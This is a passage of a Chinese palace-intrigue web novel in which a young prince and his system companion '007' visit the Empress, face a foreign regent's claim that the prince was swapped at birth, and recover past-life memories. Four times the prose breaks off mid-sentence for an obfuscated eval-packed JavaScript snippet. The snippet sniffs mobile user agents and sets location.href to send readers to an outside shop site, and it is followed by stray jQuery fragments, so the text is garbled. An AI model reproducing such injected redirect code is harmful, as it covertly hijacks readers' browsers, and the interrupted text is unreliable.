“我怎么生出你这么个蠢货!跟那个病秧子赌钱?还输了整整一百五十两?!” 李常睿缩了缩脖子,小声嘟囔:“他、他就是运气好……” “运气好?”丽妃气笑了,“三次掷骰子,次次都比你大一点,这是运气好?这是人家把你当傻子耍!” 她站起身,走到儿子面前,涂着丹蔻的手指戳着他的额头。 “你呀你,脑子里装的都是浆糊!那李常安从前唯唯诺诺,如今怎么就敢跟你赌了?还次次都赢?你就没想过这里面有鬼?” 李常睿被戳得后退两步,委屈道:“我、我哪知道……他就拿出两颗普通骰子……” “普通骰子?”丽妃冷笑,“宫里长大的孩子,有几个是简单的?” 丽妃挥了挥手:“睿儿,你先下去,安心读书。再让本宫知道你瞎胡闹,仔细你的皮!” “是、是!”李常睿如蒙大赦,赶紧溜了。 她深吸一口气,压了压火气,转身看向侍立在一旁的刘嬷嬷:“嬷嬷,本宫吩咐你的事,办得怎么样了?” 刘嬷嬷连忙上前,压低声音:“娘娘放心,长春宫那边……已经安排上了。每日熏香里都掺了东西,分量虽轻,但日积月累下去……” “日积月累?”丽妃打断她,柳眉倒竖,“这都多久了?本宫看那李常安,非但没病没灾,反而脸色一天比一天红润!前几日太后还夸他气色好!这就是你说的‘日积月累’?” 刘嬷嬷额上冒出冷汗:“这……老奴亲自盯着的,绝不会错。那药无色无味,掺在熏香里,按理说吸入后会渐渐精神不济、体虚多病,最后……” 她声音更低了,“无声无息地没了。可七皇子他……” 丽妃眯起眼睛,盯着镜中自己姣好的面容,缓缓道:“要么,是药有问题。要么……” 她眼中闪过寒光,“是人有问题。” 丽妃才转头看向刘嬷嬷,“去查,查那药到底有没有用,查长春宫的熏香,查李常安每日饮食……本宫倒要看看,是谁在捣鬼!” 与此同时,长春宫里却是另一番景象。 李常安正趴在榻上,怀里抱着豆沙,看着动画片,此刻正播放着一只圆滚滚的熊猫在竹林中翻跟头的画面。 “哈哈哈,豆沙你看!它摔了个屁墩儿!”李常安笑得直打滚。 豆沙看不到但似懂非懂地“嗷呜”一声,毛茸茸的脑袋蹭着他的下巴。 【宿主,宿主!】007的声音带着无奈,【您已经看了快一个时辰动画片了。太傅布置的《千字文》临摹,您还没动笔呢!】 “哎呀,等会儿嘛……” 李常安眼睛盯着屏幕,小手挥了挥,“这集马上就完了!” 【上一集您也是这么说的!】 007简直要抓狂,【再过半个时辰宫门就要下钥了,作业写不完,明天太傅又要罚您站了!】 想到太傅板着的脸和戒尺,李常安终于缩了缩脖子,不情不愿地答应。 “好啦好啦,我写就是了嘛……” 他磨磨蹭蹭地挪到书案前,然后……开始发呆。 “天地玄黄,宇宙洪荒……”他小声念着,笔尖悬在纸上,迟迟落不下去。 【宿主,您已经发呆一盏茶时间了。】007提醒。 “我、我在构思!”李常安嘴硬,小脸却皱成了包子。 007幻化出来到了李常安的书案上,【宿主,临摹作业你需要构思啥,快写!不然明天不给你看动画片了。】 李常安叹了口气,终于落笔。 第一个“天”字就写歪了,横不平竖不直,像条歪歪扭扭的毛毛虫。 “呜……”李常安看着自己的“大作”,欲哭无泪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882054|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他总觉得奇怪,他隐隐觉得自己的字不应该这么丑。 【叮!新任务发布!】007的声音忽然变得欢快。 “什么任务呀?”李常安有气无力地问。 【日常任务:明日巳时,前往坤宁宫向皇后娘娘请安。 【任务奖励:积分10,抽奖次数+1。】 李常安笔尖一顿。 皇后…… 他脑海里一片空白,关于这位“母后”,只隐约从宫人闲聊中知道,皇后体弱,常年静养,不大管事。 “一定要去吗?”他小声问。 【建议去哦。】007语气认真。【这是任务哦!而且皇后娘娘之前对您颇为关照。】 “关照?”李常安茫然,“可我都不记得她了……” 【正因不记得,才更该去呀。】 007循循善诱,【就当认识一位新的长辈。宿主别怕,皇后娘娘性情温和,不会为难您的。】 李常安想了想,点点头:“那好吧……我明天去。” 心里却有点打鼓,他边胡思乱想,边跟作业搏斗。 等终于抄完二十遍《千字文》开篇,窗外早已月上中天。 “终于写完了……”李常安丢下笔,累得直接趴在了桌上。 素心进来见他这样,心疼道:“殿下快去歇息吧,明日还要早起进学呢。” 李常安被伺候着洗漱更衣,躺到床上时,眼皮已经开始打架了。 朦胧间,他忽然想起什么,迷迷糊糊地问:“素心姑姑……皇后娘娘,喜欢什么呀?” 素心正在替他掖被角,闻言一愣,随即温声道:“皇后娘娘性子静,喜欢礼佛,也爱侍弄花草。殿下问这个做什么?” “没、没什么……”李常安小声嘟囔,翻了个身,很快就睡着了。 梦里,他好像看见一个模糊的身影,坐在满园花草中,回头对他温柔地笑。 可他想看清那人的脸时,梦却醒了。 37.第 37 章 翌日,弘文馆散学后。 李常安站在廊下,小手不自觉地攥着衣角。 【紧张什么呀!要不你给皇后娘娘也带点礼物?根据本系统数据分析,送礼物是拉近关系的最佳方式!宿主快想想,送什么好?】007叽叽喳喳。 “我哪知道……”李常安更愁了,“送太贵重了不好,送太随便了也不好……” 【扫描中……】007装模作样地发出“滴滴”声,【根据御花园植被分析,当前盛开且适合赠送的花卉有:玉兰、海棠、丁香……推荐玉兰!理由一:洁白高雅,符合皇后气质;理由二:花期正好;理由三——】 “理由三是什么?” 【理由三:不要钱!】007理直气壮。 李常安被逗笑了,“就你话多!不过……玉兰确实挺好看的。” 他小跑着去了御花园,在一株高大的玉兰树下转来转去,仰着小脑袋认真挑选。 【左边那枝!花开七分,形态最美!】007当起了指挥,【不对不对,往右一点……再往上……对!就那枝!】 李常安踮起脚尖,小心折下一枝玉兰。 【完美!】007得意洋洋,【本系统出马,一个顶俩!宿主快去吧,记得要笑得甜一点,说话软一点——】 “知道啦知道啦!”李常安抱着花枝,深吸一口气,迈着小短腿走向坤宁宫。 坤宁宫比想象中安静得多,空气里有淡淡的檀香味,混着药香。 通传后,李常安被引着走进正殿。 皇后正坐在窗边软榻上看书,她穿着淡青常服,未施脂粉,眉眼间是常年病弱带来的倦意。 “儿臣给娘娘请安。”李常安规规矩矩跪下。 “起来吧。”皇后的声音温和,“到近前来。” 李常安起身,抱着花枝走过去。 “这花……”李常安把玉兰递过去,“给娘娘的。开得可好了。” 皇后接过花枝,指尖轻轻拂过花瓣,目光有些飘远:“谢谢你,小七,听说你失忆了?” 李常安点点头:“嗯嗯,之前的事记不清了,不过太医说没准哪天就想了起来。” 皇后笑着看向李常安:“坐吧。你近来身子可好?太医院开的药,可还吃着?” “吃着呢。”李常安在旁边的绣墩上坐下,小短腿悬空晃了晃。 “不过药好苦……每次喝完,素心姑姑都给我蜜饯。” “药苦也要喝,身子要紧。” “嗯!”李常安点头,又补充道,“娘娘也要好好喝药,保重身子。” 皇后看他一眼,没说话。 殿内一时安静,只有窗外偶尔传来的鸟鸣。 李常安有点坐不住,小脑袋转了转,忽然看见皇后手边放着一本翻开的棋谱,上头画着黑白棋子的布局。 “娘娘在下棋吗?”他好奇地问。 皇后顺着他的目光看去:“只是看看。你会下棋?” “不会……”李常安摇头,又眨眨眼。 “不过我会玩五子棋!就是五个子连成一条线就赢了!可简单了!”他说得眼睛发亮,小手还比划着。 007在李常安脑子自恋道,【是吧,五子棋好玩吧,系统出品必属精品。】 皇后看着他生动的表情,嘴角微弯:“那确实简单。” “娘娘要不要玩?”李常安忽然提议,“我教娘娘!很好玩的!” 一旁的林嬷嬷眼皮跳了跳——皇后娘娘怎会玩这种小孩把戏? 谁知皇后沉默片刻,竟道:“去取棋盘来。” 林嬷嬷一愣,连忙应声去取。 很快,一方小棋盘摆在榻桌上。 李常安兴致勃勃地摆开棋子,小嘴叭叭地讲解规则:“黑先白后,横着竖着斜着,五个连起来就赢!娘娘您执黑吧,我让您!” 皇后被他这“让您”逗得失笑,摇摇头,执起黑子。 第一局,皇后几乎是不假思索地落子,十步之内,五子连珠。 李常安看着棋盘,小嘴张成圆形:“娘娘好厉害!” “再来。” 第二局,李常安学乖了,认真琢磨每一步。 可皇后总是能在他快要连成时截断,然后轻松获胜。 第三局,李常安使出浑身解数,小眉头皱得紧紧的。 皇后也不催他,静静等着。 终于,李常安眼睛一亮,“啪”地落下一子:“我赢啦!” 棋盘上,白子歪歪扭扭连成了斜线——确实是五个。 皇后仔细看了看,眼中笑意渐深:“嗯,你赢了。” “耶!”李常安高兴得差点从绣墩上蹦起来,又赶紧坐好,小脸兴奋得红扑扑的。 林嬷嬷在一旁看着,心中惊讶。 皇后娘娘已经多久……没这样笑过了? 皇后看着眼前这个明显活泼了许多的小七,似乎被这单纯的快乐融化了一角。 她忽然问:“你在弘文馆,学得如何?” “还行……”李常安挠挠头。 “不懂可以问太傅,也可以……”皇后顿了顿,“来问本宫。” 李常安眼睛更亮了:“真的吗?那、那我以后可以常来吗?” 话一出口,他又觉得自己太唐突,声音小了下去。 皇后却点了点头:“想来便来,只是本宫精力不济,不能久陪。” “嗯嗯!我每次就来一会儿!”李常安保证道。 这时,宫女端上茶点。 皇后的是药膳,李常安面前则是一碟精致的荷花酥。 李常安拿起一块,咬了一口,酥皮簌簌掉渣。 他赶紧用小手接着,吃得小心翼翼。 皇后看着他这副模样,眼中的笑意又深了几分。 “慢些吃。”她温声道。 李常安咽下点心,忽然想到什么,从怀里摸出一个小油纸包:“娘娘,这个给您。” 油纸包里是几颗琥珀色的糖球,散发着淡淡的桂花香。 “这是桂花糖,可甜了。” 李常安认真道,“我听说药苦,吃完药含一颗,就不苦啦。” 皇后看着那几颗朴素的糖球,久久没有说话。 良久,她伸手接过,低声道:“好。” 李常安见她收了,笑得眉眼弯弯。 又坐了一会儿,李常安看看天色,起身行礼:“娘娘,儿臣该回去了,您好好休息,我改日再来!” 皇后点头:“去吧。” 李常安蹦蹦跳跳地走了。 走到殿门口,他忽然回头,冲皇后挥了挥小手:“娘娘再见!” 皇后怔了怔,也轻轻抬了抬手。 从坤宁宫出来的李常安,怀里还揣着皇后让林嬷嬷包给他的几块荷花酥——说是“赢棋的彩头”。 【宿主今天表现超棒!】007在脑海里欢快地播报,【任务完成,积 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894559|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分10,抽奖次数+1。】 “嘻嘻!”李常安小脸发光,“皇后娘娘下棋太厉害了……我玩了这么久才赢了一局。” 正说着,身后忽然传来急促的脚步声。 一个慈宁宫的嬷嬷匆匆追上来,气喘吁吁:“七殿下!皇后娘娘可在坤宁宫?太后急召,请您和娘娘速去慈宁宫!” 李常安一愣:“怎么了?” 嬷嬷脸色凝重:“西朔国使臣到了,有要事,殿下快去吧!太后和太子殿下都在等。” 等李常安跟着嬷嬷赶回坤宁宫时,皇后已经更衣完毕。 她换了一身正式的靛青宫装,发间簪了凤钗,眼神却已恢复了平日里的沉静端庄。 “娘娘……”李常安小声唤道。 皇后看他一眼,伸手替他理了理衣襟:“待会儿跟在母后身边,莫要乱跑,莫要多言。” “嗯。” 一行人匆匆赶往慈宁宫。 路上,007在李常安脑海里嘀咕:【西朔国……这个节骨眼派使臣来,总觉得不对劲。】 “为什么呀?” 【皇帝刚出征北境,西朔国就派使臣来访……太巧了。】 007分析道,【而且‘来头不小’——能惊动太后和太子一起接见的,至少是亲王级别。】 慈宁宫,太后端坐主位,太子李常宸、和亲王李崇简侍立一旁,下首还坐着几位重臣,众人面色皆肃。 见皇后和李常安进来,太后只微微颔首,示意他们入座。 李常安乖乖挨着皇后坐下,小手放在膝盖上,眼睛悄悄打量着殿内——然后就对上了一双含笑的眼睛。 是个约莫三十余岁的男子,坐在客位首位。 他穿着西朔国特有的深紫锦袍,领口袖口绣着繁复的金色纹样,面容英俊,正饶有兴致地看着李常安。 见李常安望过来,他还眨了眨眼,唇角勾起一抹意味深长的笑。 李常安赶紧收回目光,往皇后身边缩了缩。 【这人笑得怪怪的……】007嘀咕。 太后缓缓开口:“西朔国摄政王殿下为何一定要见我朝七皇子,可是有要事?” 摄政王?!李常安心里一惊。 西朔国皇帝的亲弟弟,手握实权的摄政王亲自来访? 摄政王——名唤贺兰朔,闻言微微一笑,用一口流利的官话道:“太后客气。本王此次前来,一是代我皇兄向大晟皇帝陛下问安,愿两国永修盟好;二来……” 他顿了顿,目光有意地扫过李常安,“是为一桩陈年旧事,一桩……涉及两国血脉的旧事。” 殿内空气一凝。 太子沉声道:“摄政王此话何意?” 贺兰朔不紧不慢地从怀中取出一卷泛黄的文书,双手奉上:“太后、太子殿下请看。这是元和十一年到元和十二年间,我国皇帝陛下以‘游历求学’之名来访大晟时,在白云观暂住期间的起居注副本。” 太后示意身旁嬷嬷接过,展开。 只看了几行,她的脸色就变了。 “元和十二年四月初七,西朔国宠爱的歌姬月奴在白云观诞下一子……” “同日,贵国宁嫔亦在观中生产……因当日观中香火旺盛走水,混乱中两婴被抱错?!”贺兰朔带着笑意缓缓说道。 “什么?!”太子霍然起身。 和亲王李崇简手中的茶盏“哐当”一声落在案上。几位重臣也是脸色一变。 38.第 38 章 “元和十二年四月初七?”皇后斩钉截铁地说道,“这不可能。” 瞬间,所有人的目光都转向了皇后。 “如果我没记错的话,她是四月初九在东宫生产的。” 太子的脸色也变了:“母后说得没错。彼时父皇尚为太子,宁嫔有孕后便安置在东宫偏殿。四月初九寅时,她于东宫诞下七弟,父皇赐名常安,太医院、内务府皆有记录可查。” 贺兰朔神色不变,依旧从容:“皇后娘娘、太子殿下所言或许不虚。但本王手中这份起居注,乃我国宫廷密档所载,亦有当年白云观僧人与接生婆子的证词。若诸位不信……” 他顿了顿,目光扫过殿内众人,“我也将证人带来了,贵国也可以请宁嫔娘娘出来,当面对质?” 殿内一时寂静。 太后缓缓开口,“宁嫔这些年神思恍惚,言语颠倒,她的话,做不得数。” 贺兰朔眼中闪过一丝了然的笑意:“太后说得是,既如此……” 他话锋一转,“不如请大晟调阅当年东宫、白云观两处所有人的记录,一一核对?本王相信,真相总会水落石出。” 太后沉默片刻,才缓缓道:“摄政王远道而来,舟车劳顿。此事关乎两国,关系重大,非一时可决。不如先请至驿馆歇息,容我朝详查之后,再行商议。” 这是缓兵之计,也是逐客令。 贺兰朔自然听懂了。 他暗藏机锋地说道:“只是有一事,需提醒诸位——无论当年真相如何,若七殿下确为我国陛下血脉,那便是西朔国皇子。届时,希望大晟能顾全两国邦交,将我国皇子……全须全尾地交还。” “全须全尾”四字,他说得极轻,听到众人耳里不外乎侮辱。 太后的眼神骤然冷了下来。 贺兰朔优雅起身,行了一礼:“那本王便静候佳音。只是……” 他看向李常安,“望太后、皇后娘娘体谅,为人父母者,思子之心切。” 他顿了顿,从怀中取出一个锦囊,走到李常安面前,蹲下身,与他平视。 “七殿下,”贺兰朔的声音很温和,将锦囊递过去。 “这是……皇兄托本王带给你的,他说,这是在你还未出生时就为你准备的长命缕。” 李常安呆呆地看着,没有接。 【宿主!别接!】007在脑海里尖叫,【这东西接了就是认了!谁知道里面是什么!】 皇后的手按在了李常安肩上,以示安抚。 贺兰朔也不强求,将锦囊轻轻放在李常安身边的茶几上,起身道:“若殿下日后想看,随时可打开。” 他行了一礼,便转身离去。 使臣退去,慈宁宫内的气氛却更加沉重。 太后疲惫地闭了闭眼:“都先退下吧。太子,崇简,你们留下。” 皇后牵着李常安起身离开。 李常安整个人都是懵的,像提线木偶一样跟着皇后走出慈宁宫。 阳光刺眼,他却觉得浑身发冷。 他不是父皇的孩子……他是西朔国皇帝和什么歌姬的儿子? “小七。”皇后的声音在耳边响起,“莫怕。” 李常安抬头看她。 皇后神色温和,并没有因为他可能是异国皇子,对他有所不满。 “我……”李常安想说点什么,喉咙却像被堵住了。 【宿主!宿主你还好吗?】007的声音带着慌乱,【心跳过快!血压升高!宿主你——】 李常安只感觉一股剧烈的眩晕感猛地袭来,无数记忆的碎片汹涌而出—— 刑场上冰冷的雪,监斩官宣读“通敌叛国”罪状的漠然声音;牢狱中迟宴递来的那卷“罪证”;太子拄着拐杖眼中燃烧的失望与恨意;宁嫔疯癫的咒骂“野种”;还有最后……千刀万剐时彻骨的疼痛。 原来如此。 前世的努力、被诬、惨死……还有这可笑的身世。 电光石火间,一切贯通。 李常安猛地睁开眼,发现自己正被皇后半扶着站在回廊下,大口喘着气,后背惊出一层冷汗。 “小七?”皇后担心的声音传来,冰凉的手抚上他的额头。 “脸色怎么这么白?” 【宿主!宿主你怎么样?!】007惊慌失措的声音在脑海响起。 “我没事。”李常安在心里回道,“我只是想起来了。” 全都想起来了。 “小七?”皇后见他眼神不对,“可是哪里不舒服?本宫传太医——” 李常安摇摇头,站直身体,看着皇后说道: “娘娘,我没事,我只是……有点吓到了。” 皇后最终只是叹了口气,牵起他的手:“先回坤宁宫歇歇。” 回到坤宁宫,林嬷嬷端上安神茶。 李常安捧着温热的茶盏,小口喝着,脑子里却飞速运转。 【宿主……你真的都想起来了?】007小心翼翼地问。 “嗯。” 【那……那你现在打算怎么办?】007的声音充满担忧,【西朔国那个摄政王一看就不怀好意!】 李常安看向被皇后放在一旁茶几上的锦囊,走了过去,拿起锦囊。 皇后在一旁看着并没有说什么。 入手很轻。李常安顿了顿,打开里面只有一条褪了色的五彩丝线编织的长命缕,看起来确实有些年头了。 李常安看着长命缕,久久不语。 “小七,”皇后的声音在身后响起,“东西想不想留都随你,你不必害怕,天塌下来也是个子高的顶着。” 李常安回过头,发现皇后不知何时走到了他身后。 “娘娘,”李常安仰头看她,嗓子有些发哽,最终只是低下头,轻轻“嗯”了一声。 皇后没再多言,只抬手抚了抚他的发顶,“小孩子不用想那么多,累了就歇会儿。” 同一时刻,慈宁宫偏殿内,太后端坐主位,手中捻着一串沉香佛珠,太子李常宸与和亲王李崇简分坐两侧,神色凝重。 “查。”太后开口,“东宫旧档、白云观僧录、太医院脉案、内务府记档全部调出来。尤其是当年服侍过宁嫔,以及可能接触过白云观一事的宫人、内侍、护卫,一个不漏,给哀家细细地筛!” “是。”李崇简立刻应下,他是先帝幼弟,辈分高却不涉朝争,此时由他主持清查最为稳妥。 太子眉头紧锁:“皇祖母,若……若西朔国所言属实,七弟他……” 太后抬眸看他,眼神锐利:“常宸,你是储君。储君眼中,当先有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16903278|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国,再有家。但家国从来难分。 常安是不是西朔血脉,关乎两国邦交,更关乎我大晟皇室颜面与人心稳定。在确凿证据出现之前,他依然是你七弟,是大晟的七皇子。” 她顿了顿,语气缓了缓:“何况,此事蹊跷。西朔国早不提晚不提,偏偏在皇帝御驾亲征时提起,还由摄政王亲自出面,如此兴师动众,你们以为他们只是因为小七可能是西朔血脉?” 太子与李崇简皆是一凛。 “皇祖母的意思是……” “哀家没什么意思。” 太后重新垂下眼帘,拨动佛珠,“哀家只是不信,这世上有这么巧的事。去查,越快越好。” “孙儿明白。” “臣弟领旨。” 而此时的驿馆中,贺兰朔正站在窗前,望着皇宫的方向,手中把玩着一枚玉佩。 “殿下,”身后阴影中,一个黑衣人低声道。 “大晟那边已经开始调阅旧档了,另外……宁嫔那边,要不要……” “不必。”贺兰朔淡淡道,“一个疯妇的话,没人会信。我们要的,是确凿的证据,和……那孩子的自愿。” 他转过身,眼中闪着锐利的光:“告诉宫里我们的人,保护好七皇子。在他愿意跟我们走之前,不能出任何差错。” “是。” 黑夜笼罩了整个京城,长春宫里,李常安小口喝着安神茶,温热微苦的液体滑入喉咙。 【宿主,】007心虚的问道,【你……你真的全都想起来了?】 李常安闭上眼,轻轻吐出一口气。 “嗯,我还记得你在我失忆后怎么框我的。” 【!!!】007紧张道,【那、那个……宿主你听我解释!一切都是为了任务!为了我们美好的未来啊!宿主!】 “哦?”李常安其实没有生气,故意逗007道,“为了任务?所以骗我说‘做任务可以换糖吃’?骗我‘骑大马’?还有……” 【呃……这个嘛……】007的声音越来越小,声音里充满了谄媚,【宿主您英明神武、天资过人、慧眼如炬!】 一连串肉麻至极的吹捧不带喘气地砸了过来。 李常安嘴角微微地抽搐了一下。 即使恢复记忆,听到它这么不要脸地自吹自擂加拍马屁,还是有点……承受不住。 007看宿主不回它,开始装哭,【宿主我错了!我真的知道错了!我不该利用宿主您的精湛演技和悲惨身世来投机取巧刷任务!我不该为了尽快攒任务值就出馊主意!我检讨!我反省!我愿意接受任何惩罚!只求宿主别不要我!嘤嘤嘤……】 李常安:“……” 他按了按眉心,这系统戏未免也太多了。 “闭嘴。”他低声道,语气里带着无奈,“再嘤就把你屏蔽了。” 哭声戛然而止。 007立刻狗腿道:【宿主您吩咐!本系统保证以后绝对兢兢业业、脚踏实地、不再搞任何歪门邪道!您指东我绝不往西,您说撵狗我绝不抓鸡!以后的任务都正正经经,奖励都实实在在!我以天道发誓!】 “行了。”李常安打断007的喋喋不休,“以前的事,暂时不跟你计较。” 【宿主英明!宿主万岁!】007瞬间雀跃。 39.第 39 章 翌日,李常安起身时,素心的脸色就不太好,替他整理衣襟的动作都比往日轻了许多。 等她端着早膳进来时,“殿下……”素心欲言又止。 李常安小口喝着牛乳粥,抬起眼睛看她:“素心姑姑,外头是不是说什么了?” 素心眼眶微红,强笑道:“没、没什么,殿下别听那些闲言碎语。” 等走出长春宫,沿途遇到的宫人依旧恭敬行礼,但宫人们偷偷瞥来的眼神里,好奇、怜悯、轻蔑皆有。 “听说了吗?七殿下原来是……” “嘘!小声点!西朔国的皇子呢!” “太后娘娘昨天发了好大的脾气……” “陛下还在北疆打仗呢,这要是真的……可如何是好?” 身后交头接耳的私语如同夏夜恼人的蚊子,嗡嗡作响。 李常安垂着眼,小手却悄悄握紧。 【宿主,别听那些!】007在他脑海里气鼓鼓的,【一群碎嘴的!等本系统哪天升了级,非给他们都安排上‘说闲话就咬舌头’的debuff不可!】 李常安被它这幼稚的“报复”想法逗得一笑。 到了坤宁宫,今天人很多,殿内已有几位嫔妃在等候请安,正凑在一起说着什么,见李常安进来,声音戛然而止,眼神飘忽。 其中一个穿着桃红宫装的容嫔,素来心直口快又没什么脑子,忍不住小声道:“哎呀,七殿下来了……这、这往后咱们该怎么称呼呀?还叫殿下吗?还是……” 她话未说完,旁边一位稍稳重的嫔妃急忙扯了扯她的袖子,容嫔这才意识到失言,讪讪地住了嘴。 李常安脚步微顿,垂下眼睫,显得有几分无助。 皇后看向容嫔开口道:“容嫔你入宫,有几年了?” 容嫔脸色一白,慌忙起身:“回、回娘娘,臣妾入宫已五年……” “五年,宫规还没学明白?”皇后端起手边的温水抿了一口,“需要本宫重新教你?” “臣妾不敢!臣妾失言!”容嫔噗通跪下,冷汗涔涔。 皇后没看她,目光缓缓掠过其余几位嫔妃。 “陛下出征在外,国事繁重。后宫之人,当谨言慎行,安分守己,为陛下分忧,而非搬弄口舌,滋生事端。” 皇后说着,轻轻咳了两声,林嬷嬷连忙上前替她抚背。 她摆了摆手,“七皇子是大晟的皇子,从前是,现在是,谁再敢妄议皇子身世,搅乱宫廷,休怪本宫……不念旧情,按宫规严惩不贷。” 殿内鸦雀无声,这时,太后身边的崔嬷嬷领着两个小宫女走了进来,捧着一匣子东西。 崔嬷嬷笑容满面,先向皇后行了礼,然后走到李常安面前:“七殿下安。太后娘娘听说殿下昨日受了惊,心中惦念,特意让老奴送些安神的苏合香,并几卷新寻来的游记杂谈,给殿下压压惊,闲暇时翻看解闷。” 她顿了一下,将声音微微拔高说道:“太后娘娘说了,殿下好生进学便是,旁的事,有长辈们操心。” 在场几位嫔妃的脸色顿时变得精彩纷呈,红白交错。 容嫔更是将头埋得更低,恨不得缩进地里。 从坤宁宫出来去弘文馆的路上,李常安的心情轻快了不少。 皇后和太后的维护,至少让他在宫里暂时不会太难过。 弘文馆内,同窗们看李常安的眼神各异,好奇探究者有之,避之不及者有之,窃窃私语者更有之。 五皇子李常睿更是像嗅到腥味的猫,领着几个跟班,大摇大摆地堵在了学堂门口。 “哟,瞧瞧这是谁?”李常睿拖长了调子,上下打量着李常安,脸上是毫不掩饰的嘲弄。 “咱们的‘西朔皇子’殿下,还真来上学了?怎么,西朔那边不教《论语》、《孟子》吗?还是等着你那摄政王叔父接你回去学骑射啊?” 恶意的调侃引起一阵嗤笑。 苏文瑾立刻像只被踩了尾巴的小猫,一个箭步挡在李常安身前。 “五殿下!太傅即刻便到,还请慎言!” 迟晏也快步上前与苏文瑾并肩,将李常安护在了身后。 “五殿下!有些话还是慎言,到时候传出去,怕是就算是您,也得挨几板子。” 李常睿被两人噎了一下,尤其是迟晏,镇国公世子的身份,让他不敢太过放肆。 “哼,走着瞧!”李常睿撂下一句狠话回到了座位上。 散学时,李常安发现自己因白日思绪纷乱,竟漏了一份太傅要求的一段《谏太宗十思疏》。 正对着空白的纸页发愁,迟晏收拾好书本,犹豫了片刻,走到他身边,用只有两人能听到的音量低声道:“殿下若是信得过臣,可以将臣抄录的那一份,借与殿下补全。或者殿下告知臣漏了何处,臣……可以代笔补上。” 李常安惊讶抬头,几乎以为自己听错了。 迟晏?那个严于律己、恪守规矩、连苏文瑾偷偷传纸条都要皱眉的迟晏?竟然主动提出要帮他“作弊”? 一旁的苏文瑾也张大了嘴巴,像看怪物一样看着迟晏:“迟晏你……你没发烧吧?” 他还伸手想去探探迟晏的额头。 迟晏微微偏头躲开,耳根泛起一丝红晕。 “没有,我只是不想殿下因此等小事受罚。如今……是非常时期,权宜之计罢了。” 说完,他不再看李常安惊讶的眼神,转身快步离开了学堂,背影竟有几分仓促。 007在李常安脑海里大呼小叫,【迟晏今天怪怪的!他之前虽然也算维护你,但也恪守规矩。今天这简直……不对劲,很不对劲!】 李常安望着迟晏消失的方向,眉头微蹙,他自然也察觉到了迟晏的异样。 【难道他觉得宿主你可怜,所以加倍对你好?】007疑惑道。 …… 三日后,慈宁宫偏殿。 和亲王李崇简将一叠厚厚的卷宗轻轻放在太后面前的紫檀案几上,面色凝重。 “臣依旨彻查,元和十二年所有与宁嫔生产相关的人事,皆在此处。结果……不甚乐观。” 太后捻动佛珠的手指顿了顿,抬眸看他:“说。” “首先是人证。”李崇简翻开最上面一卷。 “当年为宁嫔接生的婆子之一王氏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16912162|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在七皇子满月宴后第三日,于家中‘失足’落井身亡,地方衙门记录为意外。宁嫔当时的贴身大宫女春杏,在七皇子周岁前,突发‘急症’,一夜之间暴毙,太医院曾记录脉案,但语焉不详。 此外,当年在东宫任职的两名老内侍太监,也在随后一两年内,先后‘病故’。” 皇后坐在下首,指尖冰凉。 太子李常宸放在膝上的手缓缓握紧,薄唇抿成一条直线。 “所有关键人证,”李崇简合上卷宗,声音干涩,“几乎……无一幸存。线索至此,基本断了。” “不是几乎,”太后缓缓开口,冷冷道,“是全部斩草除根,一个不留。好利落,好狠绝的手笔。” 能如此精准、彻底地清除所有可能知情者,且十几年间不露丝毫破绽,这背后的势力,其心思之缜密,手段之狠辣,触角之深广,令人不寒而栗。 “不过,”李崇简深吸一口气,又翻开另一份卷宗。 “从物证上看,倒是有明确线索。内务府卷宗清楚记载,元和十二年四月初七,宁嫔以‘为腹中皇嗣祈福,求母子平安’为由,递牌子出宫,目的地是西郊白云观,巳时出,申时归。 白云观留存当年的香客祈福簿副本,也找到了宁嫔当日登记的法名和随喜记录。两相吻合。” 他顿了顿,继续道:“宁嫔回宫后,次日便称‘祈福劳累,回宫途中又受了些风,动了胎气’,需卧床静养。 东宫当年的脉案记录也显示,四月初八、初九两日,皆有太医前往映月宫请脉,记录均为‘胎象不稳,需安胎’。 直到四月初九深夜,东宫才突然报信,言宁嫔‘提前发动’,于子时诞下皇嗣,即七皇子。” 